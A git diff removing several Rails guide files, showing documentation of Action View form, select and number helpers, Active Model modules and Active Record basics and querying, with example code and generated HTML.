-select_year(Date.today)
-
-# Generates a select field from 1900 to 2009 that defaults to the current year
-select_year(Date.today, :start_year => 1900, :end_year => 2009)
-</ruby>
-
-h5. time_ago_in_words
-
-Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
-
-<ruby>
-time_ago_in_words(3.minutes.from_now) # => 3 minutes
-</ruby>
-
-h5. time_select
-
-Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
-
-<ruby>
-# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
-time_select("order", "submitted")
-</ruby>
-
-h4. DebugHelper
-
-Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
-
-<ruby>
-my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]}
-debug(my_hash)
-</ruby>
-
-<html>
-<pre class='debug_dump'>---
-first: 1
-second: two
-third:
-- 1
-- 2
-- 3
-</pre>
-</html>
-
-h4. FormHelper
-
-Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
-
-There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
-
-The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:
-
-<ruby>
-# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
-<%= form_for @person, :url => { :action => "create" } do |f| %>
- <%= f.text_field :first_name %>
- <%= f.text_field :last_name %>
- <%= submit_tag 'Create' %>
-<% end %>
-</ruby>
-
-The HTML generated for this would be:
-
-<html>
-<form action="/persons/create" method="post">
- <input id="person_first_name" name="person[first_name]" size="30" type="text" />
- <input id="person_last_name" name="person[last_name]" size="30" type="text" />
- <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-The params object created when this form is submitted would look like:
-
-<ruby>
-{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
-</ruby>
-
-The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
-
-h5. check_box
-
-Returns a checkbox tag tailored for accessing a specified attribute.
-
-<ruby>
-# Let's say that @post.validated? is 1:
-check_box("post", "validated")
-# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
-# <input name="post[validated]" type="hidden" value="0" />
-</ruby>
-
-h5. fields_for
-
-Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
-
-<ruby>
-<%= form_for @person, :url => { :action => "update" } do |person_form| %>
- First name: <%= person_form.text_field :first_name %>
- Last name : <%= person_form.text_field :last_name %>
-
- <%= fields_for @person.permission do |permission_fields| %>
- Admin? : <%= permission_fields.check_box :admin %>
- <% end %>
-<% end %>
-</ruby>
-
-h5. file_field
-
-Returns a file upload input tag tailored for accessing a specified attribute.
-
-<ruby>
-file_field(:user, :avatar)
-# => <input type="file" id="user_avatar" name="user[avatar]" />
-</ruby>
-
-h5. form_for
-
-Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
-
-<ruby>
-<%= form_for @post do |f| %>
- <%= f.label :title, 'Title' %>:
- <%= f.text_field :title %><br />
- <%= f.label :body, 'Body' %>:
- <%= f.text_area :body %><br />
-<% end %>
-</ruby>
-
-h5. hidden_field
-
-Returns a hidden input tag tailored for accessing a specified attribute.
-
-<ruby>
-hidden_field(:user, :token)
-# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-</ruby>
-
-h5. label
-
-Returns a label tag tailored for labelling an input field for a specified attribute.
-
-<ruby>
-label(:post, :title)
-# => <label for="post_title">Title</label>
-</ruby>
-
-h5. password_field
-
-Returns an input tag of the "password" type tailored for accessing a specified attribute.
-
-<ruby>
-password_field(:login, :pass)
-# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
-</ruby>
-
-h5. radio_button
-
-Returns a radio button tag for accessing a specified attribute.
-
-<ruby>
-# Let's say that @post.category returns "rails":
-radio_button("post", "category", "rails")
-radio_button("post", "category", "java")
-# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-# <input type="radio" id="post_category_java" name="post[category]" value="java" />
-</ruby>
-
-h5. text_area
-
-Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
-
-<ruby>
-text_area(:comment, :text, :size => "20x30")
-# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
-# #{@comment.text}
-# </textarea>
-</ruby>
-
-h5. text_field
-
-Returns an input tag of the "text" type tailored for accessing a specified attribute.
-
-<ruby>
-text_field(:post, :title)
-# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
-</ruby>
-
-h4. FormOptionsHelper
-
-Provides a number of methods for turning different kinds of containers into a set of option tags.
-
-h5. collection_select
-
-Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class.
-
-Example object structure for use with this method:
-
-<ruby>
-class Post < ActiveRecord::Base
- belongs_to :author
-end
-
-class Author < ActiveRecord::Base
- has_many :posts
- def name_with_initial
- "#{first_name.first}. #{last_name}"
- end
-end
-</ruby>
-
-Sample usage (selecting the associated Author for an instance of Post, +@post+):
-
-<ruby>
-collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
-</ruby>
-
-If <tt>@post.author_id</tt> is 1, this would return:
-
-<html>
-<select name="post[author_id]">
- <option value="">Please select</option>
- <option value="1" selected="selected">D. Heinemeier Hansson</option>
- <option value="2">D. Thomas</option>
- <option value="3">M. Clark</option>
-</select>
-</html>
-
-h5. country_options_for_select
-
-Returns a string of option tags for pretty much any country in the world.
-
-h5. country_select
-
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
-
-h5. option_groups_from_collection_for_select
-
-Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments.
-
-Example object structure for use with this method:
-
-<ruby>
-class Continent < ActiveRecord::Base
- has_many :countries
- # attribs: id, name
-end
-
-class Country < ActiveRecord::Base
- belongs_to :continent
- # attribs: id, name, continent_id
-end
-</ruby>
-
-Sample usage:
-
-<ruby>
-option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-</ruby>
-
-Possible output:
-
-<html>
-<optgroup label="Africa">
- <option value="1">Egypt</option>
- <option value="4">Rwanda</option>
- ...
-</optgroup>
-<optgroup label="Asia">
- <option value="3" selected="selected">China</option>
- <option value="12">India</option>
- <option value="5">Japan</option>
- ...
-</optgroup>
-</html>
-
-Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
-
-h5. options_for_select
-
-Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
-
-<ruby>
-options_for_select([ "VISA", "MasterCard" ])
-# => <option>VISA</option> <option>MasterCard</option>
-</ruby>
-
-Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
-
-h5. options_from_collection_for_select
-
-Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
-
-<ruby>
-# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-</ruby>
-
-For example, imagine a loop iterating over each person in @project.people to generate an input tag:
-
-<ruby>
-options_from_collection_for_select(@project.people, "id", "name")
-# => <option value="#{person.id}">#{person.name}</option>
-</ruby>
-
-Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
-
-h5. select
-
-Create a select tag and a series of contained option tags for the provided object and method.
-
-Example:
-
-<ruby>
-select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
-</ruby>
-
-If <tt>@post.person_id</tt> is 1, this would become:
-
-<html>
-<select name="post[person_id]">
- <option value=""></option>
- <option value="1" selected="selected">David</option>
- <option value="2">Sam</option>
- <option value="3">Tobias</option>
-</select>
-</html>
-
-h5. time_zone_options_for_select
-
-Returns a string of option tags for pretty much any time zone in the world.
-
-h5. time_zone_select
-
-Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
-
-<ruby>
-time_zone_select( "user", "time_zone")
-</ruby>
-
-h4. FormTagHelper
-
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
-
-h5. check_box_tag
-
-Creates a check box form input tag.
-
-<ruby>
-check_box_tag 'accept'
-# => <input id="accept" name="accept" type="checkbox" value="1" />
-</ruby>
-
-h5. field_set_tag
-
-Creates a field set for grouping HTML form elements.
-
-<ruby>
-<%= field_set_tag do %>
- <p><%= text_field_tag 'name' %></p>
-<% end %>
-# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-</ruby>
-
-h5. file_field_tag
-
-Creates a file upload field.
-
-Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically.
-
-<ruby>
-<%= form_tag { :action => "post" }, { :multipart => true } do %>
- <label for="file">File to Upload</label> <%= file_field_tag "file" %>
- <%= submit_tag %>
-<% end %>
-</ruby>
-
-Example output:
-
-<ruby>
-file_field_tag 'attachment'
-# => <input id="attachment" name="attachment" type="file" />
-</ruby>
-
-h5. form_tag
-
-Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
-
-<ruby>
-<%= form_tag '/posts' do %>
- <div><%= submit_tag 'Save' %></div>
-<% end %>
-# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
-</ruby>
-
-h5. hidden_field_tag
-
-Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
-
-<ruby>
-hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
-# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-</ruby>
-
-h5. image_submit_tag
-
-Displays an image which when clicked will submit the form.
-
-<ruby>
-image_submit_tag("login.png")
-# => <input src="/images/login.png" type="image" />
-</ruby>
-
-h5. label_tag
-
-Creates a label field.
-
-<ruby>
-label_tag 'name'
-# => <label for="name">Name</label>
-</ruby>
-
-h5. password_field_tag
-
-Creates a password field, a masked text field that will hide the users input behind a mask character.
-
-<ruby>
-password_field_tag 'pass'
-# => <input id="pass" name="pass" type="password" />
-</ruby>
-
-h5. radio_button_tag
-
-Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
-
-<ruby>
-radio_button_tag 'gender', 'male'
-# => <input id="gender_male" name="gender" type="radio" value="male" />
-</ruby>
-
-h5. select_tag
-
-Creates a dropdown selection box.
-
-<ruby>
-select_tag "people", "<option>David</option>"
-# => <select id="people" name="people"><option>David</option></select>
-</ruby>
-
-h5. submit_tag
-
-Creates a submit button with the text provided as the caption.
-
-<ruby>
-submit_tag "Publish this post"
-# => <input name="commit" type="submit" value="Publish this post" />
-</ruby>
-
-h5. text_area_tag
-
-Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-
-<ruby>
-text_area_tag 'post'
-# => <textarea id="post" name="post"></textarea>
-</ruby>
-
-h5. text_field_tag
-
-Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
-
-<ruby>
-text_field_tag 'name'
-# => <input id="name" name="name" type="text" />
-</ruby>
-
-h4. JavaScriptHelper
-
-Provides functionality for working with JavaScript in your views.
-
-h5. button_to_function
-
-Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
-
-<ruby>
-button_to_function "Greeting", "alert('Hello world!')"
-button_to_function "Delete", "if (confirm('Really?')) do_delete()"
-button_to_function "Details" do |page|
- page[:details].visual_effect :toggle_slide
-end
-</ruby>
-
-h5. define_javascript_functions
-
-Includes the Action Pack JavaScript libraries inside a single +script+ tag.
-
-h5. escape_javascript
-
-Escape carrier returns and single and double quotes for JavaScript segments.
-
-h5. javascript_tag
-
-Returns a JavaScript tag wrapping the provided code.
-
-<ruby>
-javascript_tag "alert('All is good')"
-</ruby>
-
-<html>
-<script type="text/javascript">
-//<![CDATA[
-alert('All is good')
-//]]>
-</script>
-</html>
-
-h5. link_to_function
-
-Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
-
-<ruby>
-link_to_function "Greeting", "alert('Hello world!')"
-# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
-</ruby>
-
-h4. NumberHelper
-
-Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
-
-h5. number_to_currency
-
-Formats a number into a currency string (e.g., $13.65).
-
-<ruby>
-number_to_currency(1234567890.50) # => $1,234,567,890.50
-</ruby>
-
-h5. number_to_human_size
-
-Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
-
-<ruby>
-number_to_human_size(1234) # => 1.2 KB
-number_to_human_size(1234567) # => 1.2 MB
-</ruby>
-
-h5. number_to_percentage
-
-Formats a number as a percentage string.
-
-<ruby>
-number_to_percentage(100, :precision => 0) # => 100%
-</ruby>
-
-h5. number_to_phone
-
-Formats a number into a US phone number.
-
-<ruby>
-number_to_phone(1235551234) # => 123-555-1234
-</ruby>
-
-h5. number_with_delimiter
-
-Formats a number with grouped thousands using a delimiter.
-
-<ruby>
-number_with_delimiter(12345678) # => 12,345,678
-</ruby>
-
-h5. number_with_precision
-
-Formats a number with the specified level of +precision+, which defaults to 3.
-
-<ruby>
-number_with_precision(111.2345) # => 111.235
-number_with_precision(111.2345, 2) # => 111.23
-</ruby>
-
-h3. Localized Views
-
-Action View has the ability render different templates depending on the current locale.
-
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-
-You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages.
-
-Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+:
-
-<ruby>
-before_filter :set_expert_locale
-
-def set_expert_locale
- I18n.locale = :expert if current_user.expert?
-end
-</ruby>
-
-Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
-
-You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile
deleted file mode 100644
index 9c8ad24cee..0000000000
--- a/railties/guides/source/active_model_basics.textile
+++ /dev/null
@@ -1,205 +0,0 @@
-h2. Active Model Basics
-
-This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below -
-
-h4. AttributeMethods
-
-AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
-
-<ruby>
-class Person
- include ActiveModel::AttributeMethods
-
- attribute_method_prefix 'reset_'
- attribute_method_suffix '_highest?'
- define_attribute_methods ['age']
-
- attr_accessor :age
-
-private
- def reset_attribute(attribute)
- send("#{attribute}=", 0)
- end
-
- def attribute_highest?(attribute)
- send(attribute) > 100 ? true : false
- end
-
-end
-
-person = Person.new
-person.age = 110
-person.age_highest? # true
-person.reset_age # 0
-person.age_highest? # false
-
-</ruby>
-
-h4. Callbacks
-
-Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
-
-<ruby>
-class Person
- extend ActiveModel::Callbacks
-
- define_model_callbacks :update
-
- before_update :reset_me
-
- def update
- _run_update_callbacks do
- # This will call when we are trying to call update on object.
- end
- end
-
- def reset_me
- # This method will call when you are calling update on object as a before_update callback as defined.
- end
-end
-</ruby>
-
-h4. Conversion
-
-If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
-
-<ruby>
-class Person
- include ActiveModel::Conversion
-
- def persisted?
- false
- end
-
- def id
- nil
- end
-end
-
-person = Person.new
-person.to_model == person #=> true
-person.to_key #=> nil
-person.to_param #=> nil
-</ruby>
-
-h4. Dirty
-
-An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name
-
-<ruby>
-require 'rubygems'
-require 'active_model'
-
-class Person
- include ActiveModel::Dirty
- define_attribute_methods [:first_name, :last_name]
-
- def first_name
- @first_name
- end
-
- def first_name=(value)
- first_name_will_change!
- @first_name = value
- end
-
- def last_name
- @last_name
- end
-
- def last_name=(value)
- last_name_will_change!
- @last_name = value
- end
-
- def save
- @previously_changed = changes
- end
-
-end
-</ruby>
-
-h5. Querying object directly for its list of all changed attributes.
-
-<ruby>
-person = Person.new
-person.first_name = "First Name"
-
-person.first_name #=> "First Name"
-person.first_name = "First Name Changed"
-
-person.changed? #=> true
-
-#returns an list of fields arry which all has been changed before saved.
-person.changed #=> ["first_name"]
-
-#returns a hash of the fields that have changed with their original values.
-person.changed_attributes #=> {"first_name" => "First Name Changed"}
-
-#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
-person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
-</ruby>
-
-h5. Attribute based accessor methods
-
-Track whether the particular attribute has been changed or not.
-
-<ruby>
-#attr_name_changed?
-person.first_name #=> "First Name"
-
-#assign some other value to first_name attribute
-person.first_name = "First Name 1"
-
-person.first_name_changed? #=> true
-</ruby>
-
-Track what was the previous value of the attribute.
-
-<ruby>
-#attr_name_was accessor
-person.first_name_was #=> "First Name"
-</ruby>
-
-Track both previous and current value of the changed attribute. Returns an array if changed else returns nil
-
-<ruby>
-#attr_name_change
-person.first_name_change #=> ["First Name", "First Name 1"]
-person.last_name_change #=> nil
-</ruby>
-
-h4. Validations
-
-Validations module adds the ability to class objects to validate them in Active Record style.
-
-<ruby>
-class Person
- include ActiveModel::Validations
-
- attr_accessor :name, :email, :token
-
- validates :name, :presence => true
- validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i
- validates! :token, :presence => true
-
-end
-
-person = Person.new(:token => "2b1f325")
-person.valid? #=> false
-person.name = 'vishnu'
-person.email = 'me'
-person.valid? #=> false
-person.email = 'me@vishnuatrai.com'
-person.valid? #=> true
-person.token = nil
-person.valid? #=> raises ActiveModel::StrictValidationFailed
-</ruby>
diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile
deleted file mode 100644
index 66ad7b0255..0000000000
--- a/railties/guides/source/active_record_basics.textile
+++ /dev/null
@@ -1,218 +0,0 @@
-h2. Active Record Basics
-
-This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
-
-* What Object Relational Mapping and Active Record are and how they are used in Rails
-* How Active Record fits into the Model-View-Controller paradigm
-* How to use Active Record models to manipulate data stored in a relational database
-* Active Record schema naming conventions
-* The concepts of database migrations, validations and callbacks
-
-endprologue.
-
-h3. What is Active Record?
-
-Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
-
-h4. The Active Record Pattern
-
-Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
-
-h4. Object Relational Mapping
-
-Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
-
-h4. Active Record as an ORM Framework
-
-Active Record gives us several mechanisms, the most important being the ability to:
-
-* Represent models and their data
-* Represent associations between these models
-* Represent inheritance hierarchies through related models
-* Validate models before they get persisted to the database
-* Perform database operations in an object-oriented fashion.
-
-h3. Convention over Configuration in Active Record
-
-When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
-
-h4. Naming Conventions
-
-By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
-
-* Database Table - Plural with underscores separating words (e.g., +book_clubs+)
-* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+)
-
-|_.Model / Class |_.Table / Schema |
-|+Post+ |+posts+|
-|+LineItem+ |+line_items+|
-|+Deer+ |+deer+|
-|+Mouse+ |+mice+|
-|+Person+ |+people+|
-
-
-h4. Schema Conventions
-
-Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
-
-* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models.
-* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
-
-There are also some optional column names that will create additional features to Active Record instances:
-
-* +created_at+ - Automatically gets set to the current date and time when the record is first created.
-* +created_on+ - Automatically gets set to the current date when the record is first created.
-* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated.
-* +updated_on+ - Automatically gets set to the current date whenever the record is updated.
-* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
-* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
-* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
-
-NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
-
-h3. Creating Active Record Models
-
-It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
-
-<ruby>
-class Product < ActiveRecord::Base
-end
-</ruby>
-
-This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like:
-
-<sql>
-CREATE TABLE products (
- id int(11) NOT NULL auto_increment,
- name varchar(255),
- PRIMARY KEY (id)
-);
-</sql>
-
-Following the table schema above, you would be able to write code like the following:
-
-<ruby>
-p = Product.new
-p.name = "Some Book"
-puts p.name # "Some Book"
-</ruby>
-
-h3. Overriding the Naming Conventions
-
-What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
-
-You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
-
-<ruby>
-class Product < ActiveRecord::Base
- set_table_name "PRODUCT"
-end
-</ruby>
-
-If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the +set_fixture_class+ method in your test definition:
-
-<ruby>
-class FunnyJoke < ActiveSupport::TestCase
- set_fixture_class :funny_jokes => 'Joke'
- fixtures :funny_jokes
- ...
-end
-</ruby>
-
-It's also possible to override the column that should be used as the table's primary key using the +ActiveRecord::Base.set_primary_key+ method:
-
-<ruby>
-class Product < ActiveRecord::Base
- set_primary_key "product_id"
-end
-</ruby>
-
-h3. CRUD: Reading and Writing Data
-
-CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
-
-h4. Create
-
-Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database.
-
-For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database:
-
-<ruby>
- user = User.create(:name => "David", :occupation => "Code Artist")
-</ruby>
-
-Using the +new+ method, an object can be created without being saved:
-
-<ruby>
- user = User.new
- user.name = "David"
- user.occupation = "Code Artist"
-</ruby>
-
-A call to +user.save+ will commit the record to the database.
-
-Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization:
-
-<ruby>
- user = User.new do |u|
- u.name = "David"
- u.occupation = "Code Artist"
- end
-</ruby>
-
-h4. Read
-
-Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
-
-<ruby>
- # return array with all records
- users = User.all
-</ruby>
-
-<ruby>
- # return the first record
- user = User.first
-</ruby>
-
-<ruby>
- # return the first user named David
- david = User.find_by_name('David')
-</ruby>
-
-<ruby>
- # find all users named David who are Code Artists and sort by created_at in reverse chronological order
- users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC')
-</ruby>
-
-You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
-
-h4. Update
-
-Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
-
-<ruby>
- user = User.find_by_name('David')
- user.name = 'Dave'
- user.save
-</ruby>
-
-h4. Delete
-
-Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
-
-<ruby>
- user = User.find_by_name('David')
- user.destroy
-</ruby>
-
-h3. Validations
-
-Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
-
-h3. Callbacks
-
-Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview.
-
-h3. Migrations
-
-Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile
deleted file mode 100644
index 2e1f89cb78..0000000000
--- a/railties/guides/source/active_record_querying.textile
+++ /dev/null
@@ -1,1260 +0,0 @@
-h2. Active Record Query Interface
-
-This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
-
-* Find records using a variety of methods and conditions
-* Specify the order, retrieved attributes, grouping, and other properties of the found records
-* Use eager loading to reduce the number of database queries needed for data retrieval
-* Use dynamic finders methods
-* Check for the existence of particular records
-* Perform various calculations on Active Record models
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails.
-
-If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
-
-Code examples throughout this guide will refer to one or more of the following models:
-
-TIP: All of the following models use +id+ as the primary key, unless specified otherwise.
-
-<ruby>
-class Client < ActiveRecord::Base
- has_one :address
- has_many :orders
- has_and_belongs_to_many :roles
-end
-</ruby>
-
-<ruby>
-class Address < ActiveRecord::Base
- belongs_to :client
-end
-</ruby>
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :client, :counter_cache => true
-end
-</ruby>
-
-<ruby>
-class Role < ActiveRecord::Base
- has_and_belongs_to_many :clients
-end
-</ruby>
-
-Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
-
-h3. Retrieving Objects from the Database
-
-To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
-
-The methods are:
-* +where+
-* +select+
-* +group+
-* +order+
-* +reorder+
-* +reverse_order+
-* +limit+
-* +offset+
-* +joins+
-* +includes+
-* +lock+
-* +readonly+
-* +from+
-* +having+
-
-All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>.
-
-The primary operation of <tt>Model.find(options)</tt> can be summarized as:
-
-* Convert the supplied options to an equivalent SQL query.
-* Fire the SQL query and retrieve the corresponding results from the database.
-* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
-* Run +after_find+ callbacks, if any.
-
-h4. Retrieving a Single Object
-
-Active Record provides five different ways of retrieving a single object.
-
-h5. Using a Primary Key
-
-Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
-
-<ruby>
-# Find the client with primary key (id) 10.
-client = Client.find(10)
-# => #<Client id: 10, first_name: "Ryan">
-</ruby>
-
-The SQL equivalent of the above is:
-
-<sql>
-SELECT * FROM clients WHERE (clients.id = 10)
-</sql>
-
